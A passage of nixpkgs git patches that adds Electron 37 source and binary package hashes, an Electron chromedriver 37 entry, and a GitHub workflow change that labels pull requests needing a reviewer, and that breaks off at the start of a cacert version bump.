+                    "hash": "sha256-YlcvSDSCHHqDA43+hd5hpajZrIGqpn3KxhMJD8Wf+rs=",
+                    "rev": "8cc5a0e8f6695263d44206cf5930641979cb3179",
+                    "url": "https://chromium.googlesource.com/openscreen"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/openscreen/src/buildtools": {
+                "args": {
+                    "hash": "sha256-WnbgaCzZ/BJli6M60kP9e4mVPFDx0yu3eCac5wmQ7iM=",
+                    "rev": "077a66f30fcf281b066fafb6dfc60818c238efb6",
+                    "url": "https://chromium.googlesource.com/chromium/src/buildtools"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/openscreen/src/third_party/tinycbor/src": {
+                "args": {
+                    "hash": "sha256-fMKBFUSKmODQyg4hKIa1hwnEKIV6WBbY1Gb8DOSnaHA=",
+                    "rev": "d393c16f3eb30d0c47e6f9d92db62272f0ec4dc7",
+                    "url": "https://chromium.googlesource.com/external/github.com/intel/tinycbor.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/ots/src": {
+                "args": {
+                    "hash": "sha256-kiUXrXsaGOzPkKh0dVmU1I13WHt0Stzj7QLMqHN9FbU=",
+                    "rev": "46bea9879127d0ff1c6601b078e2ce98e83fcd33",
+                    "url": "https://chromium.googlesource.com/external/github.com/khaledhosny/ots.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/pdfium": {
+                "args": {
+                    "hash": "sha256-FF0iXahVfqbi4OOdH9PPgCTAIQT/q0nlT/H70pubCMQ=",
+                    "rev": "cf433ae5520d061db56391155b59b34e67484f39",
+                    "url": "https://pdfium.googlesource.com/pdfium.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/perfetto": {
+                "args": {
+                    "hash": "sha256-kzVsti2tygOMgT61TmCz26AByMd3gIXA6xz8RE0iCz4=",
+                    "rev": "dd35b295cd359ba094404218414955f961a0d6ae",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/perfetto.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/protobuf-javascript/src": {
+                "args": {
+                    "hash": "sha256-c/aC+LZQtedL5oouUXw2eTF6xD7LN3J3C0q3D0wl+W0=",
+                    "rev": "28bf5df73ef2f345a936d9cc95d64ba8ed426a53",
+                    "url": "https://chromium.googlesource.com/external/github.com/protocolbuffers/protobuf-javascript"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/pthreadpool/src": {
+                "args": {
+                    "hash": "sha256-qogacGPNy6SKQaK8CZvGC8YZbVjhDTXuhDqGopB0Eps=",
+                    "rev": "dcc9f28589066af0dbd4555579281230abbf74dd",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/pthreadpool.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/pyelftools": {
+                "args": {
+                    "hash": "sha256-I/7p3IEvfP/gkes4kx18PvWwhAKilQKb67GXoW4zFB4=",
+                    "rev": "19b3e610c86fcadb837d252c794cb5e8008826ae",
+                    "url": "https://chromium.googlesource.com/chromiumos/third_party/pyelftools.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/pywebsocket3/src": {
+                "args": {
+                    "hash": "sha256-WEqqu2/7fLqcf/2/IcD7/FewRSZ6jTgVlVBvnihthYQ=",
+                    "rev": "50602a14f1b6da17e0b619833a13addc6ea78bc2",
+                    "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/pywebsocket3.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/quic_trace/src": {
+                "args": {
+                    "hash": "sha256-vbXqddDgwqetU0bDYn3qo7OBqT5eG926/MbA1hKkCT0=",
+                    "rev": "ed3deb8a056b260c59f2fd42af6dfa3db48a8cad",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/quic-trace.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/re2/src": {
+                "args": {
+                    "hash": "sha256-f/k2rloV2Nwb0KuJGUX4SijFxAx69EXcsXOG4vo+Kis=",
+                    "rev": "c84a140c93352cdabbfb547c531be34515b12228",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/re2.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/ruy/src": {
+                "args": {
+                    "hash": "sha256-O3JEtXchCdIHdGvjD6kGMJzj7TWVczQCW2YUHK3cABA=",
+                    "rev": "83fd40d730feb0804fafbc2d8814bcc19a17b2e5",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/ruy.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/search_engines_data/resources": {
+                "args": {
+                    "hash": "sha256-x7zGPqha12Og/AjQp1mkO0MNydM4xXvIcaapNziW0Kw=",
+                    "rev": "09fd22f3a4fb77ab03b7734e0c03ff7d7f97ef88",
+                    "url": "https://chromium.googlesource.com/external/search_engines_data.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/securemessage/src": {
+                "args": {
+                    "hash": "sha256-GS4ccnuiqxMs/LVYAtvSlVAYFp4a5GoZsxcriTX3k78=",
+                    "rev": "fa07beb12babc3b25e0c5b1f38c16aa8cb6b8f84",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/securemessage.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/skia": {
+                "args": {
+                    "hash": "sha256-k0vE2K9KfeYsTVZchvKEA8M7GJQcekbuO5wHJeycBZo=",
+                    "rev": "a46d5732d9fca93eaec23e502e2eef814b707e6b",
+                    "url": "https://skia.googlesource.com/skia.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/smhasher/src": {
+                "args": {
+                    "hash": "sha256-OgZQwkQcVgRMf62ROGuY+3zQhBoWuUSP4naTmSKdq8s=",
+                    "rev": "0ff96f7835817a27d0487325b6c16033e2992eb5",
+                    "url": "https://chromium.googlesource.com/external/smhasher.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/snappy/src": {
+                "args": {
+                    "hash": "sha256-jUwnjbaqXz7fgI2TPRK7SlUPQUVzcpjp4ZlFbEzwA+o=",
+                    "rev": "32ded457c0b1fe78ceb8397632c416568d6714a0",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/snappy.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/speedometer/main": {
+                "args": {
+                    "hash": "sha256-1/G06WCO5ssBS3+T6E3rnGdIf0r205wVxfJX7lgivR4=",
+                    "rev": "dd661c033abdde11022779f40375c52632a9f43a",
+                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/speedometer/v2.0": {
+                "args": {
+                    "hash": "sha256-p7WUS8gZUaS+LOm7pNmRkwgxjx+V8R6yy7bbaEHaIs4=",
+                    "rev": "732af0dfe867f8815e662ac637357e55f285dbbb",
+                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/speedometer/v2.1": {
+                "args": {
+                    "hash": "sha256-0z5tZlz32fYh9I1ALqfLm2WWO8HiRBwt0hcmgKQhaeM=",
+                    "rev": "8bf7946e39e47c875c00767177197aea5727e84a",
+                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/speedometer/v3.0": {
+                "args": {
+                    "hash": "sha256-qMQ4naX+4uUu3vtzzinjkhxX9/dNoTwj6vWCu4FdQmU=",
+                    "rev": "8d67f28d0281ac4330f283495b7f48286654ad7d",
+                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/speedometer/v3.1": {
+                "args": {
+                    "hash": "sha256-G89mrrgRaANT1vqzhKPQKemHbz56YwR+oku7rlRoCHw=",
+                    "rev": "1386415be8fef2f6b6bbdbe1828872471c5d802a",
+                    "url": "https://chromium.googlesource.com/external/github.com/WebKit/Speedometer.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/spirv-cross/src": {
+                "args": {
+                    "hash": "sha256-H43M9DXfEuyKuvo6rjb5k0KEbYOSFodbPJh8ZKY4PQg=",
+                    "rev": "b8fcf307f1f347089e3c46eb4451d27f32ebc8d3",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Cross"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/spirv-headers/src": {
+                "args": {
+                    "hash": "sha256-/KfUxWDczLQ/0DOiFC4Z66o+gtoF/7vgvAvKyv9Z9OA=",
+                    "rev": "c9aad99f9276817f18f72a4696239237c83cb775",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Headers"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/spirv-tools/src": {
+                "args": {
+                    "hash": "sha256-04CWBDu4Q+H7EtVTealNyGx0Hml7OjIf0FfK0IuzisY=",
+                    "rev": "01021466b5e71deaac9054f56082566c782bfd51",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/SPIRV-Tools"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/sqlite/src": {
+                "args": {
+                    "hash": "sha256-jqelU2bFZ4XwI5dpkusvgUobmRyYo/41ZKqbEmOdpis=",
+                    "rev": "0a1397d274701c5d39e661e948160da2b9a8db1e",
+                    "url": "https://chromium.googlesource.com/chromium/deps/sqlite.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/squirrel.mac": {
+                "args": {
+                    "hash": "sha256-4GfKQg0u3c9GI+jl3ixESNqWXQJKRMi+00QT0s2Shqw=",
+                    "owner": "Squirrel",
+                    "repo": "Squirrel.Mac",
+                    "rev": "0e5d146ba13101a1302d59ea6e6e0b3cace4ae38"
+                },
+                "fetcher": "fetchFromGitHub"
+            },
+            "src/third_party/squirrel.mac/vendor/Mantle": {
+                "args": {
+                    "hash": "sha256-ogFkMJybf2Ue606ojXJu6Gy5aXSi1bSKm60qcTAIaPk=",
+                    "owner": "Mantle",
+                    "repo": "Mantle",
+                    "rev": "78d3966b3c331292ea29ec38661b25df0a245948"
+                },
+                "fetcher": "fetchFromGitHub"
+            },
+            "src/third_party/squirrel.mac/vendor/ReactiveObjC": {
+                "args": {
+                    "hash": "sha256-/MCqC1oFe3N9TsmfVLgl+deR6qHU6ZFQQjudb9zB5Mo=",
+                    "owner": "ReactiveCocoa",
+                    "repo": "ReactiveObjC",
+                    "rev": "74ab5baccc6f7202c8ac69a8d1e152c29dc1ea76"
+                },
+                "fetcher": "fetchFromGitHub"
+            },
+            "src/third_party/swiftshader": {
+                "args": {
+                    "hash": "sha256-Fd6T9zFJVPJaF2sbBy+uK0Ia0C6AIZsDbNvPSkbuTJM=",
+                    "rev": "a8133cbb3c8969e3c1e6b3cea2c02ec8312ef9ca",
+                    "url": "https://swiftshader.googlesource.com/SwiftShader.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/text-fragments-polyfill/src": {
+                "args": {
+                    "hash": "sha256-4rW2u1cQAF4iPWHAt1FvVXIpz2pmI901rEPks/w/iFA=",
+                    "rev": "c036420683f672d685e27415de0a5f5e85bdc23f",
+                    "url": "https://chromium.googlesource.com/external/github.com/GoogleChromeLabs/text-fragments-polyfill.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/tflite/src": {
+                "args": {
+                    "hash": "sha256-qpwF2+/dw1u24O5+4bW74R43AgGN//NZwzEmlkyHlr0=",
+                    "rev": "151774faba661a5985a8264653f4457c70a56dea",
+                    "url": "https://chromium.googlesource.com/external/github.com/tensorflow/tensorflow.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/ukey2/src": {
+                "args": {
+                    "hash": "sha256-aaLs6ZS+CdBlCJ6ZhsmdAPFxiBIij6oufsDcNeRSV1E=",
+                    "rev": "0275885d8e6038c39b8a8ca55e75d1d4d1727f47",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/ukey2.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/vulkan-deps": {
+                "args": {
+                    "hash": "sha256-kIj8sncNg6dJzg1fgORev/o164G3kMXCGHzlzb09n0U=",
+                    "rev": "5912cbdd295c2bacb5798432a7b1cac9d20c0725",
+                    "url": "https://chromium.googlesource.com/vulkan-deps"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/vulkan-headers/src": {
+                "args": {
+                    "hash": "sha256-vB49bFCx9VVEtpwIFcxdqYT+Pk4DgjoPz4rzPfmuRps=",
+                    "rev": "75ad707a587e1469fb53a901b9b68fe9f6fbc11f",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Headers"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/vulkan-loader/src": {
+                "args": {
+                    "hash": "sha256-D5S1xQbsJ4Ov+3u84Mxj3L/3elyW78jpKRbYo8FpD28=",
+                    "rev": "c913466fdc5004584890f89ff91121bdb2ffd4ba",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Loader"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/vulkan-tools/src": {
+                "args": {
+                    "hash": "sha256-snLYtiXK1eBZYsc7X18/wk4TnhmkSqquWxyjmw9IF2A=",
+                    "rev": "60b640cb931814fcc6dabe4fc61f4738c56579f6",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Tools"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/vulkan-utility-libraries/src": {
+                "args": {
+                    "hash": "sha256-2mi5gtacSDxtZB8a3oGZqgLhwntSLXlEzDq6W14RHp4=",
+                    "rev": "49ac28931f28bffaa3cd73dc4ad997284d574962",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-Utility-Libraries"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/vulkan-validation-layers/src": {
+                "args": {
+                    "hash": "sha256-K0KZ8wXTCVRBBN9AWy63ukmE6QkQHKcRgo+YluOhjyc=",
+                    "rev": "f7ceb1d01a292846db77ec87786be84d6fd568d9",
+                    "url": "https://chromium.googlesource.com/external/github.com/KhronosGroup/Vulkan-ValidationLayers"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/vulkan_memory_allocator": {
+                "args": {
+                    "hash": "sha256-YzxHZagz/M8Y54UnI4h1wu5jSTuaOgv0ifC9d3fJZlQ=",
+                    "rev": "56300b29fbfcc693ee6609ddad3fdd5b7a449a21",
+                    "url": "https://chromium.googlesource.com/external/github.com/GPUOpen-LibrariesAndSDKs/VulkanMemoryAllocator.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/wasm_tts_engine/src": {
+                "args": {
+                    "hash": "sha256-TFkniS4XvP0RlPnI1lv4RxxSY44RUuwCMKmmybENEBw=",
+                    "rev": "352880bb49e2410707543c252ef6b94a21b0f47f",
+                    "url": "https://chromium.googlesource.com/chromium/wasm-tts-engine"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/wayland-protocols/gtk": {
+                "args": {
+                    "hash": "sha256-75XNnLkF5Lt1LMRGT+T61k0/mLa3kkynfN+QWvZ0LiQ=",
+                    "rev": "40ebed3a03aef096addc0af09fec4ec529d882a0",
+                    "url": "https://chromium.googlesource.com/external/github.com/GNOME/gtk.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/wayland-protocols/kde": {
+                "args": {
+                    "hash": "sha256-Dmcp/2ms/k7NxPPmPkp0YNfM9z2Es1ZO0uX10bc7N2Y=",
+                    "rev": "0b07950714b3a36c9b9f71fc025fc7783e82926e",
+                    "url": "https://chromium.googlesource.com/external/github.com/KDE/plasma-wayland-protocols.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/wayland-protocols/src": {
+                "args": {
+                    "hash": "sha256-o/adWEXYSqWib6KoK7XMCWbojapcS4O/CEPxv7iFCw8=",
+                    "rev": "7d5a3a8b494ae44cd9651f9505e88a250082765e",
+                    "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland-protocols.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/wayland/src": {
+                "args": {
+                    "hash": "sha256-oK0Z8xO2ILuySGZS0m37ZF0MOyle2l8AXb0/6wai0/w=",
+                    "rev": "a156431ea66fe67d69c9fbba8a8ad34dabbab81c",
+                    "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/wayland.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/webdriver/pylib": {
+                "args": {
+                    "hash": "sha256-WIqWXIKVgElgg8P8laLAlUrgwodGdeVcwohZxnPKedw=",
+                    "rev": "fc5e7e70c098bfb189a9a74746809ad3c5c34e04",
+                    "url": "https://chromium.googlesource.com/external/github.com/SeleniumHQ/selenium/py.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/webgl/src": {
+                "args": {
+                    "hash": "sha256-mSketnpcDtz3NnhPkXMpMpq8MWcFiSviJbK6h06fcnw=",
+                    "rev": "c01b768bce4a143e152c1870b6ba99ea6267d2b0",
+                    "url": "https://chromium.googlesource.com/external/khronosgroup/webgl.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/webgpu-cts/src": {
+                "args": {
+                    "hash": "sha256-eMDb0nG9HDiesd8KPajbMej8JTll4JkIf17KMnKvW1s=",
+                    "rev": "905c7cbfeaac1cf3feb4c6056dd6f3dbaa06b074",
+                    "url": "https://chromium.googlesource.com/external/github.com/gpuweb/cts.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/webpagereplay": {
+                "args": {
+                    "hash": "sha256-qJnO3fFJhaQA77v1lTJ4B7cbXivquTcSvx/m+OcI3No=",
+                    "rev": "18172a359f6dab8e3f70b6c5c8c7c55d3e97537a",
+                    "url": "https://chromium.googlesource.com/webpagereplay.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/webrtc": {
+                "args": {
+                    "hash": "sha256-72NbtdYbyMxSGULvOGsZqLj4kvT79pu+TKcnEmcj/Pc=",
+                    "rev": "e4445e46a910eb407571ec0b0b8b7043562678cf",
+                    "url": "https://webrtc.googlesource.com/src.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/weston/src": {
+                "args": {
+                    "hash": "sha256-VNHUAtfTB24SIf2kl+MMXF3rG5cJOPM93WU/sVSIQ1A=",
+                    "rev": "4eb10b123b483327214d8da5da67e8bbeeaed8fe",
+                    "url": "https://chromium.googlesource.com/external/anongit.freedesktop.org/git/wayland/weston.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/wuffs/src": {
+                "args": {
+                    "hash": "sha256-373d2F/STcgCHEq+PO+SCHrKVOo6uO1rqqwRN5eeBCw=",
+                    "rev": "e3f919ccfe3ef542cfc983a82146070258fb57f8",
+                    "url": "https://skia.googlesource.com/external/github.com/google/wuffs-mirror-release-c.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/xdg-utils": {
+                "args": {
+                    "hash": "sha256-WuQ9uDq+QD17Y20ACFGres4nbkeOiTE2y+tY1avAT5U=",
+                    "rev": "cb54d9db2e535ee4ef13cc91b65a1e2741a94a44",
+                    "url": "https://chromium.googlesource.com/chromium/deps/xdg-utils.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/xnnpack/src": {
+                "args": {
+                    "hash": "sha256-aavq+i8EpQmIMPaym6JxwBFjbpqKtHshXUkdBIXDtpw=",
+                    "rev": "f82ad65ca52cb4d39b73088468a5fe00f56fb47c",
+                    "url": "https://chromium.googlesource.com/external/github.com/google/XNNPACK.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/third_party/zstd/src": {
+                "args": {
+                    "hash": "sha256-emmJF7XLq5CxXFd0KUrtUtw1YGOHDSiz39vtgVoEPd0=",
+                    "rev": "f9938c217da17ec3e9dcd2a2d99c5cf39536aeb9",
+                    "url": "https://chromium.googlesource.com/external/github.com/facebook/zstd.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            },
+            "src/v8": {
+                "args": {
+                    "hash": "sha256-MXQyDv45BDnLwKCqbueY2a5VBEgmf33Xy8WXLE9Rwsc=",
+                    "rev": "a14ab029e21658cba458b7001281c5d526e67636",
+                    "url": "https://chromium.googlesource.com/v8/v8.git"
+                },
+                "fetcher": "fetchFromGitiles"
+            }
+        },
+        "electron_yarn_hash": "10n86jnzcq8kh0nk29ljw9wi1fgj13f07h92b009i1dryagliyrs",
+        "modules": "136",
+        "node": "22.16.0",
+        "version": "37.1.0"
     }
 }
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 0e721be1c5fb..4d3b659af5a4 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6976,6 +6976,11 @@ with pkgs;
       electron-source.electron_36
     else
       electron_36-bin;
+  electron_37 =
+    if lib.meta.availableOn stdenv.hostPlatform electron-source.electron_37 then
+      electron-source.electron_37
+    else
+      electron_37-bin;
   electron = electron_35;
   electron-bin = electron_35-bin;
   electron-chromedriver = electron-chromedriver_35;

From 3e5aafc0fe399e7df635a76015d33578bb47c266 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 26 Jun 2025 15:56:27 +0200
Subject: [PATCH 2007/4511] electron_37-bin: init at 37.1.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.0.0
- Changelog: https://github.com/electron/electron/releases/tag/v37.1.0

(cherry picked from commit dae2283583ee83f2dd1aa1d6b3154c459aee7457)
---
 pkgs/development/tools/electron/binary/info.json | 11 +++++++++++
 pkgs/top-level/all-packages.nix                  |  1 +
 2 files changed, 12 insertions(+)

diff --git a/pkgs/development/tools/electron/binary/info.json b/pkgs/development/tools/electron/binary/info.json
index 12bfb8450616..65989393576a 100644
--- a/pkgs/development/tools/electron/binary/info.json
+++ b/pkgs/development/tools/electron/binary/info.json
@@ -42,5 +42,16 @@
             "x86_64-linux": "6a0decb3e382f32d4ab3db90aabd082ef9ee1154fe205808f887e228fdb2d355"
         },
         "version": "36.6.0"
+    },
+    "37": {
+        "hashes": {
+            "aarch64-darwin": "31c57a288b262d17751e6bb6f3862bfaaa7eb2f0a5dfb17965013538d2ceeeb1",
+            "aarch64-linux": "0aca9ed706f48e1b13c14d9379473c617d906bae8a4ee3a7cc1699ad8feea79b",
+            "armv7l-linux": "88d33b77debc1d7c189350b9ba411bced78328dca86d4d7e805c4322502fc254",
+            "headers": "0wizghk8sbggxjcxyxga20021by5b6a4vdr92nkmaadpishs1ylh",
+            "x86_64-darwin": "78e3c798b65d1e740e92bc2acac56b43aadf803be9fc3de799fd40407548dd83",
+            "x86_64-linux": "c03c227b2ac340e4a4093b7157e3290581bccf798bc3e0a40b280b0083453299"
+        },
+        "version": "37.1.0"
     }
 }
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 4d3b659af5a4..87562ae2747a 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6955,6 +6955,7 @@ with pkgs;
     electron_34-bin
     electron_35-bin
     electron_36-bin
+    electron_37-bin
     ;
 
   inherit (callPackages ../development/tools/electron/chromedriver { })

From be0b92fb4dd1143f9eec209769a8ecb04adecdd0 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 26 Jun 2025 15:56:31 +0200
Subject: [PATCH 2008/4511] electron-chromedriver_37: init at 37.1.0

- Changelog: https://github.com/electron/electron/releases/tag/v37.0.0
- Changelog: https://github.com/electron/electron/releases/tag/v37.1.0

(cherry picked from commit a36c45a4c396c56f17eb1b0509cfec30e672d8cd)
---
 .../development/tools/electron/chromedriver/info.json | 11 +++++++++++
 pkgs/top-level/all-packages.nix                       |  1 +
 2 files changed, 12 insertions(+)

diff --git a/pkgs/development/tools/electron/chromedriver/info.json b/pkgs/development/tools/electron/chromedriver/info.json
index 5373b55ee742..e6536e6699fd 100644
--- a/pkgs/development/tools/electron/chromedriver/info.json
+++ b/pkgs/development/tools/electron/chromedriver/info.json
@@ -42,5 +42,16 @@
             "x86_64-linux": "859c853712a4addb77d4fb1019e27063ef8825004bb93219e991cf5b4103ccb8"
         },
         "version": "36.6.0"
+    },
+    "37": {
+        "hashes": {
+            "aarch64-darwin": "f17ed19aa221a0105f688e86de3b2ef2328fcd367cc0c3a1a4ef8470c82f4776",
+            "aarch64-linux": "b41893387748f0ab996979d16e38852c9c9a27a647f1931b8cc227b6bea079af",
+            "armv7l-linux": "abb11bb11e40f029061551bdc183b57515ee095de2019ec946bc63018454163d",
+            "headers": "0wizghk8sbggxjcxyxga20021by5b6a4vdr92nkmaadpishs1ylh",
+            "x86_64-darwin": "e45df1088579f802258bce0f17ebb5791140ac7b568a6e17047cace76ab9f045",
+            "x86_64-linux": "aed73451a604782e1be5826a6455e63264ddace4e2d4552a5a400fa16398ab96"
+        },
+        "version": "37.1.0"
     }
 }
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 87562ae2747a..d45940916142 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -6963,6 +6963,7 @@ with pkgs;
     electron-chromedriver_34
     electron-chromedriver_35
     electron-chromedriver_36
+    electron-chromedriver_37
     ;
 
   electron_33 = electron_33-bin;

From 1e97b82fea1999b0a8e9f9d87a8bba7e797e4af0 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 28 Jun 2025 23:09:15 +0200
Subject: [PATCH 2009/4511] workflows/labels: manage "needs: reviewer" label

This label allows finding pull requests which have no reviewer
requested, yet.

(cherry picked from commit 7900a1618fafca40373dec053a0823988ed2d937)
---
 .github/workflows/labels.yml | 31 +++++++++++++++++++++++++------
 1 file changed, 25 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index a226193233fb..c6ffd31ee1a2 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -133,11 +133,13 @@ jobs:
                 pull_number
               })).data
 
-              const approvals = new Set(
-                (await github.paginate(github.rest.pulls.listReviews, {
+              const reviews = await github.paginate(github.rest.pulls.listReviews, {
                   ...context.repo,
                   pull_number
-                }))
+                })
+
+              const approvals = new Set(
+                reviews
                 .filter(review => review.state == 'APPROVED')
                 .map(review => review.user?.id)
               )
@@ -169,13 +171,13 @@ jobs:
                   [ 'NONE', 'FIRST_TIMER', 'FIRST_TIME_CONTRIBUTOR' ].includes(pull_request.author_association),
               }
 
-              const run_id = (await github.rest.actions.listWorkflowRuns({
+              const { id: run_id, conclusion } = (await github.rest.actions.listWorkflowRuns({
                 ...context.repo,
                 workflow_id: 'pr.yml',
                 event: 'pull_request_target',
                 exclude_pull_requests: true,
                 head_sha: pull_request.head.sha
-              })).data.workflow_runs[0]?.id ??
+              })).data.workflow_runs[0] ??
                 // TODO: Remove this after 2025-09-17, at which point all eval.yml artifacts will have expired.
                 (await github.rest.actions.listWorkflowRuns({
                   ...context.repo,
@@ -185,13 +187,30 @@ jobs:
                   status: 'success',
                   exclude_pull_requests: true,
                   head_sha: pull_request.head.sha
-                })).data.workflow_runs[0]?.id
+                })).data.workflow_runs[0] ?? {}
 
               // Newer PRs might not have run Eval to completion, yet.
               // Older PRs might not have an eval.yml workflow, yet.
               // In either case we continue without fetching an artifact on a best-effort basis.
               log('Last eval run', run_id ?? '<n/a>')
 
+              if (conclusion === 'success') {
+                Object.assign(prLabels, {
+                  // We only set this label if the latest eval run was successful, because if it was not, it
+                  // *could* have requested reviewers. We will let the PR author fix CI first, before "escalating"
+                  // this PR to "needs: reviewer".
+                  // Since the first Eval run on a PR always sets rebuild labels, the same PR will be "recently
+                  // updated" for the next scheduled run. Thus, this label will still be set within a few minutes
+                  // after a PR is created, if required.
+                  // Note that a "requested reviewer" disappears once they have given a review, so we check
+                  // existing reviews, too.
+                  '9.needs: reviewer':
+                    !pull_request.draft &&
+                    pull_request.requested_reviewers.length == 0 &&
+                    reviews.length == 0,
+                })
+              }
+
               const artifact = run_id && (await github.rest.actions.listWorkflowRunArtifacts({
                 ...context.repo,
                 run_id,

From 39f1abfed935797487a7febb40ec35b15102e14c Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 4 Jul 2025 04:06:03 +0200
Subject: [PATCH 2010/4511] cacert: 3.113 -> 3.113.1

https://groups.google.com/a/mozilla.org/g/dev-tech-crypto/c/D77eIlZXbr0/m/eQshPDkZAgAJ
(cherry picked from commit aba24327d424093d8718bd737f98b5dc191361ca)
---
 pkgs/by-name/ca/cacert/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ca/cacert/package.nix b/pkgs/by-name/ca/cacert/package.nix
index 0dfd5d65286c..0ff9953cdc89 100644
--- a/pkgs/by-name/ca/cacert/package.nix
+++ b/pkgs/by-name/ca/cacert/package.nix
@@ -23,7 +23,7 @@ let
     lib.concatStringsSep "\n\n" extraCertificateStrings
   );
